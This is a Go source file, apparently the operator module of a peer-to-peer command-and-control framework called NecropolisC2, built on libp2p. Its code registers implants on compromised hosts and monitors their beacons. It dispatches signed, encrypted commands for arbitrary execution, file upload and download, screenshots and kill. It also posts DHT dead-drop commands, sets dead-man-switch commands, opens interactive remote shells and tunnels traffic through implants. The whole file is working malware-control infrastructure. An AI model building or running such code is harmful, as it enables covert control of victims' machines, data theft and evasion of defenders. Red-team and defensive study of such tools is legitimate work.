// Operator represents the C2 operator node. Handles implant registration, command // dispatch, beacon monitoring, and DHT dead-drop publishing. package core import ( "context" "encoding/binary" "fmt" "io" "log" "net" "os" "path/filepath" "sort" "strings" "sync" "time" "github.com/libp2p/go-libp2p" "github.com/libp2p/go-libp2p/core/crypto" "github.com/libp2p/go-libp2p/core/network" "github.com/libp2p/go-libp2p/core/peer" tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp" ws "github.com/libp2p/go-libp2p/p2p/transport/websocket" "google.golang.org/protobuf/proto" "golang.org/x/term" "github.com/Yenn503/NecropolisC2/pkg/cryptography" "github.com/Yenn503/NecropolisC2/pkg/transport" apb "github.com/Yenn503/NecropolisC2/protobuf/apb" ) // ImplantRecord holds the registration state and metadata for one implant. type ImplantRecord struct { Name string Hostname string UUID string Username string UID string GID string OS string Arch string PID int32 PeerID string Version string ActiveC2 string Locale string LastCheckin time.Time Interval time.Duration Jitter time.Duration PublicKey crypto.PubKey Disconnected bool IsRelay bool BoxPubKey *[32]byte } // Operator owns the operator's identity, network node, known implants, and SOCKS proxies. type Operator struct { keys *cryptography.OperatorKey node *transport.Node messenger *transport.Messenger implants map[string]*ImplantRecord mu sync.RWMutex ctx context.Context cancel context.CancelFunc socksProxies map[int]*SocksInstance socksMu sync.Mutex cmdNonce int64 SelectedPID string // lastCmdTime throttles per-implant command dispatch to 10/sec. lastCmdTime map[string]time.Time cmdMu sync.Mutex } // NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger. func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) { ctx, cancel := context.WithCancel(ctx) nodeCfg := transport.NodeConfig{ ListenAddr: "/ip4/0.0.0.0/tcp/8443/ws", BootstrapPeers: transport.DefaultBootstrapAddrs(), EnableRelay: true, EnableRelayService: true, EnableMDNS: false, EnableDHT: true, RelayAddrs: relayAddrs, PrivateKey: keys.PrivateKey, } node, err := transport.NewNode(ctx, nodeCfg, libp2p.NoTransports, libp2p.Transport(ws.New), libp2p.Transport(tcp.NewTCPTransport), ) if err != nil { cancel() return nil, fmt.Errorf("create node: %w", err) } o := &Operator{ keys: keys, node: node, implants: make(map[string]*ImplantRecord), socksProxies: make(map[int]*SocksInstance), lastCmdTime: make(map[string]time.Time), ctx: ctx, cancel: cancel, } o.messenger = transport.NewOperatorMessenger(ctx, node, keys) o.messenger.SetOperatorID(keys.PeerID) o.messenger.SetAuthToken(keys.AuthToken) o.messenger.SetHandler(o.handleMessage) return o, nil } // SetSelected sets the peer ID whose results print to stdout. func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid } // senderID extracts the libp2p peer ID from an envelope's embedded public key. func (o *Operator) senderID(env *apb.Envelope) string { pubKey, err := transport.PubKeyFromEnvelope(env) if err != nil { return "" } id, err := peer.IDFromPublicKey(pubKey) if err != nil { return "" } return id.String() } // resultf prints to stdout if from the selected implant, otherwise logs quietly. func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) { msg := fmt.Sprintf(format, args...) sid := o.senderID(env) if sid != "" && sid == o.SelectedPID { fmt.Println(msg) } else { log.Printf(msg + " [from " + sid[:12] + "]") } } // Start launches DHT advertising, beacon listener, relay discovery, and the disconnect // watchdog. Returns after setting up all background goroutines. func (o *Operator) Start() error { log.Printf("[operator] PeerID: %s", o.node.ID().String()) log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic()) log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic()) for _, addr := range o.node.Addrs() { log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String()) } o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream) if err := o.node.StartDiscovery(); err != nil { return fmt.Errorf("discovery: %w", err) } ns := o.messenger.RendezvousString() if o.node.DHT != nil { go func() { for o.node.DHT.RoutingTable().Size() == 0 { select { case <-o.ctx.Done(): return case <-time.After(2 * time.Second): } } for o.node.Advertise(o.ctx, ns) != nil { select { case <-o.ctx.Done(): return case <-time.After(10 * time.Second): } } for { o.node.Advertise(o.ctx, ns) select { case <-o.ctx.Done(): return case <-time.After(30 * time.Second): } } }() relayNS := o.node.RelayRendezvousString(o.keys.PeerID) go o.advertiseRelayLoop(relayNS) go o.discoverRelayPeersLoop(relayNS) } if err := o.messenger.ListenBeacons(o.ctx); err != nil { return fmt.Errorf("listen beacons: %w", err) } go o.disconnectCheckLoop() return nil } // disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines. func (o *Operator) disconnectCheckLoop() { ticker := time.NewTicker(30 * time.Second) defer ticker.Stop() for { select { case <-ticker.C: o.mu.Lock() now := time.Now() for id, rec := range o.implants { if rec.Disconnected { continue } timeout := rec.Interval + rec.Jitter + 30*time.Second if now.Sub(rec.LastCheckin) > timeout { rec.Disconnected = true o.implants[id] = rec log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)", rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second)) } } o.mu.Unlock() case <-o.ctx.Done(): return } } } // advertiseRelayLoop periodically advertises this node as a relay in the DHT. func (o *Operator) advertiseRelayLoop(ns string) { if !o.node.WaitForDHT(o.ctx) { return } for { if o.node.DHT == nil { return } if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil { log.Printf("[operator] relay advertise: %v", err) } select { case <-o.ctx.Done(): return case <-time.After(60 * time.Second): } } } // discoverRelayPeersLoop finds relay peers in the DHT and connects to them. func (o *Operator) discoverRelayPeersLoop(ns string) { if !o.node.WaitForDHT(o.ctx) { return } for { peers, err := o.node.FindRelayPeers(o.ctx, ns, 32) if err != nil { log.Printf("[operator] find relay peers: %v", err) goto sleep } for _, pi := range peers { if pi.ID == o.node.ID() { continue } cs := o.node.Host.Network().Connectedness(pi.ID) if cs == network.Connected || cs == network.Limited { continue } connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second) if err := o.node.ConnectToPeer(connCtx, pi); err == nil { log.Printf("[operator] connected to relay peer %s", pi.ID.String()) } cancel() } sleep: select { case <-o.ctx.Done(): return case <-time.After(60 * time.Second): } } } // handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the // correct result handler. func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) { if len(env.Data) > 0 && o.keys.BoxKeys != nil { decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys) if err == nil { env.Data = decrypted } } switch env.Type { case transport.MsgTypeRegister: o.handleBeaconRegister(env) case transport.MsgTypeCover: // cover traffic silently dropped case transport.MsgTypePs: o.handlePsResult(env) case transport.MsgTypeLs: o.handleLsResult(env) case transport.MsgTypeExecute: o.handleExecuteResult(env) case transport.MsgTypeCd: o.handleCdResult(env) case transport.MsgTypePwd: o.handlePwdResult(env) case transport.MsgTypeDownload: o.handleDownloadResult(env) case transport.MsgTypeUpload: o.handleUploadResult(env) case transport.MsgTypeScreenshot: o.handleScreenshotResult(env) case transport.MsgTypeKill: o.handleKillResult(env) default: log.Printf("[operator] received message type=%d", env.Type) } } // handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream, // verifies signatures, and dispatches them through handleMessage. func (o *Operator) handleBeaconStream(s network.Stream) { defer s.Close() remotePeer := s.Conn().RemotePeer() for { var msgLen uint32 if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil { errStr := err.Error() if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") { log.Printf("[operator] beacon stream read len: %v", err) } return } if msgLen > 1<<20 { log.Printf("[operator] beacon stream message too large: %d", msgLen) return } data := make([]byte, msgLen) if _, err := io.ReadFull(s, data); err != nil { log.Printf("[operator] beacon stream read data: %v", err) return } env := &apb.Envelope{} if err := proto.Unmarshal(data, env); err != nil { log.Printf("[operator] beacon stream unmarshal: %v", err) continue } var pubKey crypto.PubKey if len(env.SenderKey) > 0 { pubKey, _ = transport.PubKeyFromEnvelope(env) senderID, err := peer.IDFromPublicKey(pubKey) if err != nil || senderID != remotePeer { log.Printf("[operator] beacon stream sender mismatch") continue } } if err := transport.VerifyEnvelope(env, pubKey); err != nil { log.Printf("[operator] beacon stream invalid signature: %v", err) continue } o.handleMessage(o.ctx, env, pubKey) } } // handleBeaconRegister processes an implant registration beacon, updating or creating the // implant record and recording the implant's public key for signature verification. func (o *Operator) handleBeaconRegister(env *apb.Envelope) { if o.messenger.IsReplay(env.ID) { log.Printf("[operator] dropped replay beacon id=%d", env.ID) return } beaconReg := &apb.Z1{} if err := proto.Unmarshal(env.Data, beaconReg); err != nil { log.Printf("[operator] unmarshal beacon register: %v", err) return } reg := beaconReg.Register if reg == nil { log.Printf("[operator] beacon register missing Register field") return } pubKey, err := transport.PubKeyFromEnvelope(env) if err != nil { log.Printf("[operator] get sender key from envelope: %v", err) return } peerID, err := peer.IDFromPublicKey(pubKey) if err != nil { log.Printf("[operator] peer id from sender key: %v", err) return } peerIDStr := peerID.String() var boxPubKey *[32]byte if len(reg.BoxPubKey) == 32 { var key [32]byte copy(key[:], reg.BoxPubKey) boxPubKey = &key } rec := &ImplantRecord{ Name: reg.Name, Hostname: reg.Hostname, UUID: reg.UUID, Username: reg.Username, UID: reg.UID, GID: reg.GID, OS: reg.OS, Arch: reg.Arch, PID: reg.PID, PeerID: peerIDStr, Version: reg.Version, ActiveC2: reg.ActiveC2, Locale: reg.Locale, LastCheckin: time.Now(), Interval: time.Duration(beaconReg.Interval) * time.Second, Jitter: time.Duration(beaconReg.Jitter) * time.Second, PublicKey: pubKey, BoxPubKey: boxPubKey, } o.mu.Lock() if existing, ok := o.implants[peerIDStr]; ok { existing.LastCheckin = time.Now() existing.Disconnected = false existing.Hostname = reg.Hostname existing.Username = reg.Username existing.OS = reg.OS existing.Arch = reg.Arch existing.IsRelay = true existing.BoxPubKey = boxPubKey } else { rec.IsRelay = true o.implants[peerIDStr] = rec log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s", reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr) } o.mu.Unlock() o.messenger.AddKnownImplant(peerIDStr, pubKey) } // ListImplants returns all registered implant records sorted by peer ID. func (o *Operator) ListImplants() []*ImplantRecord { o.mu.RLock() defer o.mu.RUnlock() ids := make([]string, 0, len(o.implants)) for id := range o.implants { ids = append(ids, id) } sort.Strings(ids) out := make([]*ImplantRecord, 0, len(o.implants)) for _, id := range ids { out = append(out, o.implants[id]) } return out } // GetImplant looks up a single implant record by peer ID. func (o *Operator) GetImplant(peerID string) *ImplantRecord { o.mu.RLock() defer o.mu.RUnlock() return o.implants[peerID] } // sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct // command stream to the implant, and publishes the envelope as a DHT dead-drop. func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error { o.cmdMu.Lock() if last, ok := o.lastCmdTime[implantPeerID]; ok { if time.Since(last) < 100*time.Millisecond { o.cmdMu.Unlock() return fmt.Errorf("rate limited — wait before sending another command") } } o.lastCmdTime[implantPeerID] = time.Now() o.cmdMu.Unlock() pid, err := peer.Decode(implantPeerID) if err != nil { return fmt.Errorf("decode peer id %s: %w", implantPeerID, err) } data, err := proto.Marshal(msg) if err != nil { return fmt.Errorf("marshal: %w", err) } env := o.messenger.CreateEnvelope(msgType, data) rec := o.GetImplant(implantPeerID) if rec != nil && rec.BoxPubKey != nil { encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey) if err != nil { return fmt.Errorf("encrypt command: %w", err) } env.Data = encrypted } pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic()) if err == nil { env.SenderKey = pubBytes } signingData, err := transport.EnvelopeSigningBytes(env) if err != nil { return fmt.Errorf("signing bytes: %w", err) } sig, err := o.keys.PrivateKey.Sign(signingData) if err != nil { return fmt.Errorf("sign: %w", err) } env.Signature = sig ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second) defer cancel() ctx = network.WithAllowLimitedConn(ctx, "command") s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID) if err != nil { return fmt.Errorf("open command stream: %w", err) } defer s.Close() envData, err := proto.Marshal(env) if err != nil { return fmt.Errorf("marshal envelope: %w", err) } if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil { return fmt.Errorf("write len: %w", err) } if _, err := s.Write(envData); err != nil { return fmt.Errorf("write data: %w", err) } // DHT dead-drop — implants unable to reach operator via direct stream or // relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK. o.cmdNonce++ dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce) go func() { _ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent }() return nil } // Ps sends a process listing command to the given implant. func (o *Operator) Ps(implantPeerID string) error { req := &apb.Z12{} return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req) } // Ls sends a directory listing command to the given implant. func (o *Operator) Ls(implantPeerID string, path string) error { req := &apb.Z16{Path: path} return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req) } // Execute sends a command execution request to the given implant. func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error { req := &apb.Z14{ Path: cmd, Args: args, Output: true, } return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req) } // DeadMan sends a dead man switch configuration to the implant — a command that fires // automatically if the implant loses contact with the operator. func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error { payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds) env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload)) pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic()) if err == nil { env.SenderKey = pubBytes } signingData, err := transport.EnvelopeSigningBytes(env) if err != nil { return fmt.Errorf("signing bytes: %w", err) } sig, err := o.keys.PrivateKey.Sign(signingData) if err != nil { return fmt.Errorf("sign: %w", err) } env.Signature = sig pid, err := peer.Decode(implantPeerID) if err != nil { return fmt.Errorf("decode peer id: %w", err) } ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second) defer cancel() s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID) if err != nil { return fmt.Errorf("open command stream: %w", err) } defer s.Close() envData, err := proto.Marshal(env) if err != nil { return fmt.Errorf("marshal envelope: %w", err) } if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil { return fmt.Errorf("write len: %w", err) } _, err = s.Write(envData) return err } // handlePsResult prints the process listing returned by an implant. func (o *Operator) handlePsResult(env *apb.Envelope) { result := &apb.Z13{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal ps result: %v", err) return } o.resultf(env, "[ps] %d processes", len(result.Processes)) for _, p := range result.Processes { o.resultf(env, " %s (PID: %d)", p.Name, p.Pid) } } // handleLsResult prints a directory listing result from an implant. func (o *Operator) handleLsResult(env *apb.Envelope) { result := &apb.Z17{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal ls result: %v", err) return } o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files)) } // handleExecuteResult prints the stdout/stderr returned by an implant command execution. func (o *Operator) handleExecuteResult(env *apb.Envelope) { result := &apb.Z15{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal execute result: %v", err) return } o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr)) if len(result.Stdout) > 0 { o.resultf(env, string(result.Stdout)) } if len(result.Stderr) > 0 { o.resultf(env, string(result.Stderr)) } } // handleCdResult prints the result of a change-directory command on an implant. func (o *Operator) handleCdResult(env *apb.Envelope) { result := &apb.Z21{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal cd result: %v", err) return } if result.Response != nil && result.Response.Err != 0 { o.resultf(env, "cd error: %s", result.Response.ErrMsg) } else { o.resultf(env, "cd: %s", result.Path) } } // handlePwdResult prints the current working directory returned by an implant. func (o *Operator) handlePwdResult(env *apb.Envelope) { result := &apb.Z21{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal pwd result: %v", err) return } o.resultf(env, "%s", result.Path) } // handleScreenshotResult prints the screenshot byte count or error from an implant. func (o *Operator) handleScreenshotResult(env *apb.Envelope) { result := &apb.Z3{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal screenshot result: %v", err) return } if result.Response != nil && result.Response.Err != 0 { o.resultf(env, "screenshot error: %s", result.Response.ErrMsg) } else { o.resultf(env, "screenshot: %d bytes", len(result.Data)) } } // handleDownloadResult writes a file downloaded from an implant to the local filesystem. func (o *Operator) handleDownloadResult(env *apb.Envelope) { result := &apb.Z23{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal download result: %v", err) return } if !result.Exists { o.resultf(env, "download: file does not exist") return } if result.Response != nil && result.Response.Err != 0 { o.resultf(env, "download error: %s", result.Response.ErrMsg) return } path := result.Path if path == "" { path = "downloaded" } safePath := filepath.Join("downloads", filepath.Base(path)) if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil { o.resultf(env, "download: mkdir %s: %v", safePath, err) return } if err := os.WriteFile(safePath, result.Data, 0644); err != nil { o.resultf(env, "download: write %s: %v", safePath, err) return } o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data)) } // handleUploadResult prints the result of a file upload to an implant. func (o *Operator) handleUploadResult(env *apb.Envelope) { result := &apb.Z25{} if err := proto.Unmarshal(env.Data, result); err != nil { log.Printf("[operator] unmarshal upload result: %v", err) return } if result.Response != nil && result.Response.Err != 0 { o.resultf(env, "upload error: %s", result.Response.ErrMsg) return } o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path) } // handleKillResult confirms that an implant received and acted on the kill command. func (o *Operator) handleKillResult(env *apb.Envelope) { o.resultf(env, "[kill] implant exited") } // Cd changes the working directory on the selected implant. func (o *Operator) Cd(implantPeerID string, path string) error { req := &apb.Z19{Path: path} return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req) } // Pwd prints the working directory on the selected implant. func (o *Operator) Pwd(implantPeerID string) error { req := &apb.Z20{} return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req) } // Kill sends the terminate command to the selected implant. func (o *Operator) Kill(implantPeerID string) error { req := &apb.Z20{} return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req) } // Download requests a file from the implant at the given path. func (o *Operator) Download(implantPeerID string, path string) error { req := &apb.Z22{Path: path} return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req) } // Upload sends a file to the implant at the given path, overwriting if it exists. func (o *Operator) Upload(implantPeerID string, path string, data []byte) error { req := &apb.Z24{ Path: path, Data: data, Overwrite: true, } return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req) } // UploadFile reads a local file (≤100MB) and uploads it to the implant. func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error { fi, err := os.Stat(localPath) if err != nil { return fmt.Errorf("stat %s: %w", localPath, err) } if fi.Size() > 100<<20 { return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size()) } data, err := os.ReadFile(localPath) if err != nil { return fmt.Errorf("read %s: %w", localPath, err) } return o.Upload(implantPeerID, remotePath, data) } type shellEscaper struct { r io.Reader escaped bool } func (e *shellEscaper) Read(p []byte) (int, error) { if e.escaped { return 0, fmt.Errorf("shell escape") } n, err := e.r.Read(p) if n > 0 { for i := 0; i < n; i++ { if p[i] == 0x1d { // Ctrl+] e.escaped = true return 0, fmt.Errorf("shell escape") } } } return n, err } // OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal // is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit. func (o *Operator) OpenShell(implantPeerID string) error { pid, err := peer.Decode(implantPeerID) if err != nil { return fmt.Errorf("decode peer id %s: %w", implantPeerID, err) } ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second) defer cancel() ctx = network.WithAllowLimitedConn(ctx, "shell") s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID) if err != nil { return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err) } defer s.Close() rows, cols, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { rows, cols = 30, 120 } if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil { return fmt.Errorf("send rows: %w", err) } if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil { return fmt.Errorf("send cols: %w", err) } oldState, err := term.MakeRaw(int(os.Stdin.Fd())) if err != nil { return fmt.Errorf("raw terminal: %w", err) } defer term.Restore(int(os.Stdin.Fd()), oldState) errCh := make(chan error, 2) go func() { _, err := io.Copy(s, &shellEscaper{r: os.Stdin}) errCh <- err }() go func() { _, err := io.Copy(os.Stdout, s) errCh <- err }() <-errCh fmt.Println() // newline after shell exits return nil } // Portfwd listens on a local TCP port and tunnels connections through the implant to the // specified target address. func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error { pid, err := peer.Decode(implantPeerID) if err != nil { return fmt.Errorf("decode peer id %s: %w", implantPeerID, err) } listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort)) if err != nil { return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err) } defer listener.Close() log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID) for { localConn, err := listener.Accept() if err != nil { return err } go func() { defer localConn.Close() pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second) defer pcancel() pctx = network.WithAllowLimitedConn(pctx, "portfwd") s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID) if err != nil { log.Printf("[operator] portfwd stream: %v", err) return } defer s.Close() if _, err := fmt.Fprintf(s, "%s\n", target); err != nil { log.Printf("[operator] portfwd send target: %v", err) return } go io.Copy(s, localConn) io.Copy(localConn, s) }() } } // Close cancels the operator context and shuts down the node. func (o *Operator) Close() error { o.cancel() return o.node.Close() }